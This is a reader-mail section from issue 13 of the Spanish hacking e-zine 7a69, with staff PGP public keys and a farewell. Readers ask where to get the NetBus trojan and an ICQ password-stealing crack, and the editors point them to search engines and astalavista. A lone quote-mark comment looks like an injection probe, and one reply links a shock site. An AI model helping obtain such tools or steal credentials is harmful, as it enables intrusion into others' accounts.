
-------------------------------------------------------------------------------
---/0x08/----------------------------------------------------------------------
-------------------------------------------------------------------------------

ESIMADOS AMIGOS:

ANTES QUE NADA QUISIERA CONTARLES QUE SOY DE ARGENTINA
DE UNA CIUDAD SITUADA AL EXTREMO NORTE DE LA MISMA,
MUY PINTOREZCA.WWW.JUJUY.COM.

AHORA BIEN ME GUSTARIA INCURSDIONAR EN SU FABULOSO
MUNDO,RECIEN DESCUBRO SU PAGINA Y COMENZE A LEER
SUS NUMEROS,LA PREGUNTA QUE ME SURGE REFERENTE A LOS
PROGRAMAS ES SI USTEDES TIENEN MANUALES O GUIAS DE
COMO UTILIZAR PROGRAMAS COMO EL NETSNIFF.

SIN MAS LOS SALUDO CON EL RESPETO Y CONSIDERACION
QUE SE MERECEN.

IHELLFIRE

[ Oh Dios, con todo este vocerio solo he captado algo de incursdionar
en no-se-donde. Vuelve mas tarde... ah! cuidado con el caps lock. ]



-------------------------------------------------------------------------------
---/0x09/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Hola a todos

Soy AsCrNet, me gustaría pertenecer a su grupo para
así aprender mas de lo que se, tengo conocimiento
de programador (ansi c, c++, turbo pascal, html,
javascript, y otros) y de hardware, también tengo
una pequeña colección de virus con sus código
fuentes, y información variada para windows
y ahora esto aprendiento LINUX la distribución
SuSe 7.x ;-) .....

Espero que me acepten para asi apoyar su
causa ..... :-)

[ Salvad a las tortugas azules. Arriba Anna Birules. ]

Chaooooooo.



-------------------------------------------------------------------------------
---/0x0A/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Solo queria comentaros la apertura en breve de 2500Hz.

Un intercambio de link´s en el caso de que lo considereis de interes :).

El antiguo link (pagina.de/2500hz) esta redireccionado a www.2500hz.net.

Un cordial saludo

aViNash
Miembro de 2500Hz
http://www.2500hz.net

[ OK, en la proxima actualizacion estareis. Nos alegramos mucho de
vuestra vuelta. ]



-------------------------------------------------------------------------------
---/0x0B/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Saludos.

He estado viendo vuestra nueva web, con todos los
cambios introducidos y la verdad es que me ha
gustado mucho.

[ Me gusta que te guste, esperamos que este numero tambien sea de tu
agrado. ]

Pero hay una cosa que me tiene mosca, he estado
buscando el archivo "
pdf" con la recopilacion de
la revista pero no lo he encontrado en ningún
sitio, me podeis indicar el enlace para poder
bajarlo?

[ Pues todavia no se encuentra subida, esperemos tener dicha
recopilacion pronto, con el #13 incluido. ]

Por último indicaros que he introducido un pequeño
articulo explicando que es 7a69 ezine. (he metido
el indice de los 2 últimos números) en Bulma.

http://bulmalug.net/body.phtml?nIdNoticia=952

Saludos y seguid asin. Muchas Gracias.

[ A mandar. ]

Carlos Cortes



-------------------------------------------------------------------------------
---/0x0C/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Hola,

Te escribo porque queremos ser mirrors de la e-zine.
La web es www.area54index.org
Ya esta todo subido y actualizado.
Esta en la seccion hacking--->e-zine.

Saludos!
KeepWarm

[ Tienes nuestro permiso. ]


-------------------------------------------------------------------------------
---/0x0D/----------------------------------------------------------------------
-------------------------------------------------------------------------------

http://pleyades.sourceforge.net

[ http://www.goatse.cx ]

--------------------------------------------------
Mr. kl0nk Manson <MkM>
Agente 6 - 0ri0n Team Venezuela
http://pleyades.sourceforge.net
http://www.linuxayuda.org
--------------------------------------------------
Dime con Q=B4sistema Operativos trabajas y te dir=E9
quien eres..:)

[ Profundo. ]



-------------------------------------------------------------------------------
---/0x0E/----------------------------------------------------------------------
-------------------------------------------------------------------------------


Comentario: tengo la ip de un nick pero no se como sacar el hostname me
puedes ayudar gracias

[ DNS te quiere ayudar. O era Maggi? que mas da. ]



-------------------------------------------------------------------------------
---/0x0F/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: Hola quiero conocer en lo posible de que direccion bajar el
programa netbus 1.7 Gracias y espero tu respuesta
Claudio de Argnetina

[ No, no era Maggi... era Google. ]


-------------------------------------------------------------------------------
---/0x10/----------------------------------------------------------------------
-------------------------------------------------------------------------------


Comentario: Hechar una mano con los textos

Un saludo de:
|{Eth4N}|

[ A que te refieres con 'echar una mano'? escribir? adelante. ]


-------------------------------------------------------------------------------
---/0x11/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: Hola Ripe! hola chicos...como os va? eiiii! ya me he registrado.
Hay gente nueva verdad? que sorpresa. Eeeeiiii! pa los que aun
no me conocen me presento: Soy Electraxx, tengo 19 a¤os, rubia,
1'68, 50 kilos, 85-60-90, mmmmmmm que mas?...eeeeiiii!

[ :-o ]

ES BROMA!!!!! JAJAJAJAJAJAJAJAJAJAJAJA! xD bueno, espero de todo
corazon que 7a69ezine siga adelante y que sepais que sois los
mejores! besos :)

[ Gracias por esos animos, no somos los mejores pero en ello estamos,
y con seguidores como tu nos sobran ganas de superacion... ]


-------------------------------------------------------------------------------
---/0x12/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: Buenas!
Soy un newbie buscador de informaci¢n sobre el hack.
Me enter‚ de vuestra url gracias a un mail del heinekenteam.
Me parece cojonudo que haya p ginas en espa¤ol de calidad, y me gustar¡a
colaborar de alguna forma en vuestro proyecto.(en la medida que me sea
posible)
Un abrazo

[ Lo mismo que dije a Ethan, si deseas escribir, adelante. ]


-------------------------------------------------------------------------------
---/0x13/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: Soy el webmaster de hulkhacker.4t.com y me gustaria colaborar
con un par de investigaciones personales..
saludos
yo

[ Estas tardando en mandarnoslas ;-). ]


-------------------------------------------------------------------------------
---/0x14/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: hola kisiera saber si hay algun crack o algo similar para usar
en el icq2001b ya sea para no pedir authorize en los contactos o bien y
mejor aun para sacar paswoords, etc. desde ya muchas gracias

[ No que yo sepa. Ah, astalavista.box.sk te quiere ayudar. ]



-------------------------------------------------------------------------------
---/0x15/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: Sres. :
Mis sinceras felicitaciones por la labor que realizan.
Si disponen o tienen pensado un Boletin ¢ Newsletter de salida periodica
(semanal - quincenal o mensual ), me gustaria poder recibirlo.

[ *De momento* no lo hay. Tiempo al tiempo. ]

En cualquier caso me gustar  visitarles en la web.

Cordialmente.

Josep F????
?????????@yahoo.es


-------------------------------------------------------------------------------
---/0x16/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: Saludos desde Chile Se¤ores...

Electron Security Team Numero 4 Liberada!

Si, no es un sue¤o... desp£es de meses de arduo trabajo hemos logrado sacar
adelante la cuarta entrega de nuestra e-zine. (la cual puedes descargar de
aqui)

En esta cuarta entrega tenemos art¡culos de programaci¢n, sniffers, hack,
crack, entre otros interesantes temas... (ver indice aqui) Esperamos que sea
de su agrado y aprovechamos de mandarle un saludo a todos los que
colaboraron directa e indirectamente para que este numero fuese posible.

Se acercan las fiestas de fin de a¤o, sacamos la e-zine 1 semana antes de la
pascua por motivos obvios, aunque el regalo es el mismo. E todo nuestro
esfuerzo y dedicaci¢n para escribir y sacar un material de excelente
calidad. EST les desea una feliz navidad y a¤o nuevo y que disfruten de su
regalo.

Atte
Electron Security Team

www.est.cl

[ OK, bien. Genial. EST 4 salio del horno. Me gustaria que este tipo
de noticias se pusieran en el foro, donde se puede publicitar
cualquier zine, y de paso lo leemos todos. ]

-------------------------------------------------------------------------------
---/0x17/----------------------------------------------------------------------
-------------------------------------------------------------------------------

Comentario: '

[ Inquietante. ]

-------------------------------------------------------------------------------


NOTA: Los comentarios mandados desde la seccion "
Contacta" de la web van
precedidos de la palabra Comentario... wa0! :)

Ya sabeis, que si teneis alguna opinion/critica/articulo en 7a69 sabemos
escuchar... basta con que mandes un correo electronico a
staff@7a69ezine.org :)

*EOF*

-=( 7A69#13 )=--=( art17 )=--=( LLaves PGP )=--=( Staff )=-

Visto como esta el panorama actual, desde 7a69 recomendamos el uso de PGP
para el intercambio de correo electronico. Be paranoid. Aqui tienes las
llaves PGP para comunicarte con nosotros.

---[ staff ]---/ staff@7a69ezine.org /---

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDvSJQYRBAC3CSUDl9wCd44xgIIlK0xmuxCRvDc3kePcn30sU9dHoT1BQw9x
S5c6hVc2X6+q85kOak8d4+dH8AVeYtJGmPTtxBg/8dofhGnygXH4unDu2UZRh3TA
GAlNzAvFoBvZW23/vtSbZUWJNf58LcEURMMK8/DE6usqk+sssg4kf5JPowCgw0OL
yoO7JT7jMTLUDokZz1aLK70D/igwsUkObUJLXZYYnjMpOoVpEZzwCkmjxIPhQLu3
98a5SqdyqU6oet2dIU8XA7jZ0uhJ31j6E+jmBZ8WCaQIkwJZYQ7za68YhUJ1rJEK
/qYeXwh9kbnfmQyqMEbsMeby7wghW8Mk6q7xYcWauRiUN19MzLuf7IOFqZvAzNXD
20FjBACS6Xzv39cYU2GqeH66/kIdrrL4U67rjFGJ4nB0o/xctcvAZGjVZS1d5SFi
sx6g5251WqMIDySFp6Bhc4IgwjaKTAjcUQjMeVah8CTQQk9piTLcTWJCmyxDk8B7
glZzmlcMsZXXEGCaYLF0c7T9kmaVFIZkV/1FhvKeu6axXFIcXbQbU3RhZmYgPHN0
YWZmQDdhNjllemluZS5vcmc+iFcEExECABcFAjvSJQYFCwcKAwQDFQMCAxYCAQIX
gAAKCRB9tTImuFDQ3xuQAJ93Mf+ymdd0G8TUXro/LQzoJ2T5cQCeO4yJW1zQA+XJ
zkArxI/zuPKj+625AQ0EO9IlCRAEAIxL0YX/wdRTFdg4TWxGbQ8ueNFOi2bEP0dx
oCjBVcFFbyxaOOf4e37s8FmsYcimf9/ccFjwy9zOuwwYoH14cJMcVS9i9sykSJfa
u0S5noJvCYX5234nskH98/mNiapodgljVq5RfmdeyPs7oCjtRobx4zg/s0kC52LN
nRztBmfnAAQNA/9QUu1MIYTM8WDXJf4h5c5ns8M0pxQQH8R3r7aXZRyoOlOUvYxu
cIb769Pzq79EwRxCkzRSSwBz30GM5O7CXd/sytL+AgE35XUm26QjI6VZ+Ky3BR9W
o8xihYEMjFD0/AqpF8QjQgUvAaGVxpBqhKlqhgGC+PqaPAwcfbZtjfQpL4hGBBgR
AgAGBQI70iUJAAoJEH21Mia4UNDfIZUAn3TVCdXagvnnY6oluj+4MS4YRmh0AKC2
aE8EyV46KhpLWBfMJu7mgrt1bg==
=bIaJ

---[ staff ]---/ staff@7a69ezine.org /---



---[ tuxisuau ]---/ tuxisuau@7a69ezine.org /---

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDsdZGQRBADCIxNbNFE1VPwpVpx44UzZGdSpwYq2nmSxSyDRR/CnbBdTIc5/
kjzp8byv/ptXvzwo/GWvFG75n3tMFnN6yZbMKS2SvXlhZNx0xlrlOUJqHXik7BPD
K1meOKFZZ9/u/KIbg7ypa7T+/Xiw0RiwennY4pYa1YB6ifrk5G8CWuD5owCguA43
KNDqxlwom2BPdwr/9x/YNbcD/jVKkiqsoIH9HxLs4GjKpoIf2ZXCoYWUaoE2D53c
6t1Nc0UxmWCo31x93LQLWXzQqQE29COplUe25fhdKCiwqPe455DAKRAX4qQTioO4
H3SUQQxp/hPno2k+RKO9njYdmN/Vo6K0Co8ANVXDxWy0I/sOQiy7mZ8+hGml9hUc
PTWyA/4o6OjROkqiO/dEb3VQ6C7gC/7xWP/Vx+UA4MJyUK1cUulsOo8Id7oQc2x5
RUBbOm1bCO4BC0Dg/GDjEcxgV88kpTk6BbFvyyoKOcsrp6zVcVNeZx5hViBrgsQ1
R0oBoNcQrTHVuupYW0WftLuW046Vyp0ovdVEpiCRVTkp5wvJbbQ4dHV4aXN1YXUg
KHR1eGlzdWF1IC8gN2E2OWV6aW5lKSA8dHV4aXN1YXVAN2E2OWV6aW5lLm9yZz6I
VwQTEQIAFwUCOx1kZAULBwoDBAMVAwIDFgIBAheAAAoJEDbTRljVqGsxGEQAmwVZ
edPzqXl94azlj8y4nTc3iDxLAJ95vTe+ojPJCetENoZOsABvJHjj27kBDQQ7HWRn
EAQAyS2+23Z3qaHLtehAAjj8XPYDuUEZhygdN2b1Y5Y1Dx6TcMIWWnPu2i+PTsAU
yoWctY+wq1aqy3fq7QqrJvH0nc0J6v9Hb/UAJWQ0AEYAmS3ltCFSs9XQlnyLxKmt
3XAz8GNkCymBIg9Y8QTL3s6ZmLfyJVt3cuJe57kZWfvbsIsAAwYEAJwT/YyJENDG
oKIYecEcxz9fBzE9tujxn/7BdhQ+P6cNyCMe8RiFGDb9IXYNFGdpnRbjydL3U3Cn
be8xoEjK+wWcj4C9SKw19G/i2mKgZCUKZ8PydwvH5D1KgawNsc3Y4VSDItNVWzKa
rq4/z3K+xwUzKtlA0ToXWQkmTVihGC0JiEYEGBECAAYFAjsdZGcACgkQNtNGWNWo
azG3+QCgjBUVr0bdUff+BzIjPQhYsirNF+YAoJ18VlkSybzS2Mddn26+7SIntppV
=cCTA

---[ tuxisuau ]---/ tuxisuau@7a69ezine.org /---



---[ ireick ]---/ ireick@7a69ezine.org /---

Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Gnome PGP version 0.4

mQGiBDuzPkkRBADTC8dJqxzpd0Wy6kL106AVPT4KDLqR0yY/vs0Sm0NAOzQuJI1w
GQG2josgN91azF1UirPbDRMK6EY1VEQGqhZ3lutCoa5w3tGbhiqmozXQieLItL41
lSNp/8A9vtelvAK75ctKzO5exLSUe0mKwiAUgqWvZmMa577IoGiYA8Ab/wCgvlfr
3Vke9N1RSJo3BSY1aT9GdSkD/2ER7dEiN5I0Oav8p/PLmP3N7CfTMhebvN5YyLcL
0bOUfgX7S8D9mP28Lmi3rU10GcPNMm3Ovr4HhBBet7lPabUeqrxtsYefNbo5u8pT
c5yg5g3GA9fW4WN+qQN0Hvw4tBUnxrI6WrjI5VAdbpWFDP2Tdjq2DHQRgb9v5Ha7
C/XCA/4xzo7i60GNcZnkUY4EbI5nkF6p92GZw2S3PtjUxUgivT4OlYb2VRzREklf
jjfUOXdQ7qMGDAVPucLZpvpYN0yVR1qhJa+TJYrAwyuzw/CbR/X8r1vCGBAHHbxf
NJ9XdPaUqVu4BE08YG3zhHfIWHWuwB0S8MSaIlqop0JP7HI2ubQdaXJlaWNrIDxp
cmVpY2tAN2E2OWV6aW5lLm9yZz6IVwQTEQIAFwUCO7M+SQULBwoDBAMVAwIDFgIB
AheAAAoJECWqUFPmUg390wkAnjl4kWxIUlhkGHmAQuZt5QJVWaY/AJ0Ta7GJpmVQ
CpnT21Gzfqy1XYJ0DbkBDQQ7sz5MEAQA4N13LoE096UV+C76YkPSTJLActiN5qqu
9aAZlsG64Ir/VOXa5nsZN0O3Tx5SRxTlGq7L4Y6l9P5rmsGtYJpHWoZFaEx3EBpn
ucreSzna1m834miJxK1QXEk9W8V0XnTBsS+ZAxkH1DiTzDeLbUHvrBihUV1simyJ
eIc9j/YJiZ8ABAsD/jl7vW3EFaufbunpnfFBXE+rUFdCqRMwYaLQkfUFD5zP/b6u
lQV8op2aGslOaBzWV2X7OFdtY8fdjaInvEGMlJwbaKTTaGVRw+6CelV8GBrGkIku
8QGmx5e+AUWeB67FZzdecfu9Mw0gJF+bmky5W5EiFfKDxmHpBtYYlGZBJnkniEYE
GBECAAYFAjuzPkwACgkQJapQU+ZSDf367wCcC7rJw1D6GwXb5XJ7EfavjzV2+hkA
oKum9N9MP/L9DZdpuPvfn29dRq/m
=OeAb

---[ ireick ]---/ ireick@7a69ezine.org /---



---[ trycky ]---/ trycky@7a69ezine.org /---

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDxC4bsRBACETSH7cg8fTPoKUM9GL1dOm8lSfuuwCezzeZmZ/a6YIUiKatkY
/KFejm6oWbOxxgg/tQDP3BIdWRSRGqLmf4E59TnDoWY5EU2Jw7JXTnMO3A1BHv1i
37wSFWKwTHPftyTuxuAUt4BZKV9GOY2HKJShlbJDgknXnq4VjSzR/ZcjUwCguJE1
TBRMnuAZ/kX6eeBGAUp9qD0D/iUh/f1gwRVitFeeNfHOymLvzKEtnfDvh7483Jf5
xbD4YxxSiSK+oDHinMZdtkvl4m2+FzyoM2bw7HuBj8Ia/wvSZAxMpqq+POnKkwoz
5Dotezte/YnKr5AZ7lWWBc+qumScYFxJaE6bwYowlLxWVnVMQ+2lcZgMf8NuQOWK
zxyqA/oDKgIyoklxUOnxcoZluWqrv9esGznISzdxqPsGqFxXS8lxXMoJ1VzJRSjj
dIWACEokDW+ac6AN9CqYtbmrVCqXMIBodWO+BtRBLDobOtBJcZq0qLwIhqDtELkx
8zs1zYtsk0a30zajqqhjahmR/v2Uzcj1RIQyMe5SLdsjW7lLsbQrdHJ5Y2t5ICh0
cnlja3kjN2E2OSkgPHRyeWNreUA3YTY5ZXppbmUub3JnPohXBBMRAgAXBQI8QuG7
BQsHCgMEAxUDAgMWAgECF4AACgkQ7iFRTugJjSsPQACaAqGsH1kYbTdPfrXUaOmh
ojqKkYcAn2hjzICV3m6WrQlkNKkoc7e0hjjquQENBDxC4cAQBACNKw3cf6KKlf3b
sr/cT91Az1sk3WqLX2yHQXWRp5rJF4ordUqKeXk1hn3WzzWS+P2AZ4LAOhuBsRM4
7NTqPG5874XlUhZsAVWeXEvjWWMvoXDaXUVyeJHF6kzzcTPOMk4ZUyj5LnBayotn
HdriB9Pvswahw02x8/F6sb7DbMO+UwADBQP+IN2ZhEy7oWgsCunZZkTq2tpHuA+D
TUp+qanVeZuRJPzTXBDtISFjkHmu6U32/4F1uuAsjTZ040fmPjim1Zn4+GR4pFVf
T+soySrL5/IL13pqHhyowQW/HumxqbKrVa81PtANebYaREBP1ZEz5kT7MCGNh8sM
AQ8+vlRUW1waTNyIRgQYEQIABgUCPELhwAAKCRDuIVFO6AmNK/VKAJ9IDNK0yyWT
P/w4/Sd1UD8GNMaGsACfSrSBXbDVXrnIlape/e8fnZ4A2bA=
=Ah9y

---[ trycky ]---/ trycky@7a69ezine.org /---

Recordamos... Be paranoid.

*EOF*

-=( 7A69#13 )=--=( art18 )=--=( Despedida. Bye Bye )=--=( Staff )=-


Despues de el durisimo trabajo de maquetacion del numero que en estos
momentos estais leyendo no tengo demasiadas ganas de escribir, asi que esta
va a ser una despedidad realmente sosa.

Echadle sal....

*EOF*

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT